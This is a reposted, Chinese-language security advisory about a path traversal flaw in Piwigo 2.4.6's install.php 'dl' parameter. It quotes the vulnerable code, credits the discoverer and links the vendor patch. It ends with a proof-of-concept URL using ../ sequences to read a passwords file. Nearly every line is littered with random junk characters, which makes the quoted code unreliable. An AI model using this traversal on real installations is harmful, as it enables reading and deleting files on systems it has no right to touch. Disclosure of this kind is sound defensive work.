Piwigo是用PHP编写的相册脚本。
& q' S0 K& ~# i; \/ {/ ^! H: N/ o1 Q: g9 ]
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。3 R- K" o6 ]; X b: b
====================================================================
6 @. K/ q, |( z/install.php:" i: G- Y! X0 F. _, n
-------------
/ ?6 J3 \( y4 k. z& B) Z I113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))/ P2 D# i! r2 K4 u$ o
114: { w Z4 T3 V$ T3 z" {; b
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];- D @# N; S8 f
116: header('Cache-Control: no-cache, must-revalidate');
( h8 x- P) b% Y% t3 Z" a, C117: header('Pragma: no-cache');; z$ `+ U5 O5 V+ D
118: header('Content-Disposition: attachment; filename="database.inc.php"');
5 l. a) r$ k9 B119: header('Content-Transfer-Encoding: binary');. B$ h' p4 M7 p: c' q
120: header('Content-Length: '.filesize($filename));
7 i5 L2 G8 I( @# q+ `# R: `7 J9 Y121: echo file_get_contents($filename);6 f; G0 P1 Z1 p1 ~. e: u9 g$ K
122: unlink($filename);9 h# Q& n" k2 l, C+ N/ ?
123: exit();8 f( N6 I9 L' v& h4 }/ O* X
124: }
$ e, ~; ^6 i- @, k2 g# V====================================================================; I% i7 W: Q1 I' c: l
( n* H# ^) _" T- M
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
2 e5 U- W0 h. P4 J Apache 2.4.2 (Win32)
, y" A: i# T4 O! @" G PHP 5.4.4) V; b9 z+ T; X6 P2 R, `* ^
MySQL 5.5.25a
7 q' V( e5 A$ ^1 [/ p* }* S : m2 d6 @! o* l
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
+ r" K- z# s) B6 n @zeroscience+ H7 L; y0 V6 \1 Y# ~
0 F5 p. ~5 }; W2 ]3 NAdvisory ID: ZSL-2013-51279 S, t% i/ V6 Y4 I4 q3 K
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
/ c3 U- L" ^1 k @# ~" xVendor Patch: http://piwigo.org/bugs/view.php?id=2843) o4 R1 w. S4 l! Y4 H+ D
: t0 `, F! |& G3 S15.02.2013) D G. G: ~ u! e j
: I, F, O$ i7 Q' _
--/ m& H1 z: t. k9 D
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
) Q* ?" {, q; K8 X" _ 4 |( }' X5 d( U1 Z7 V
|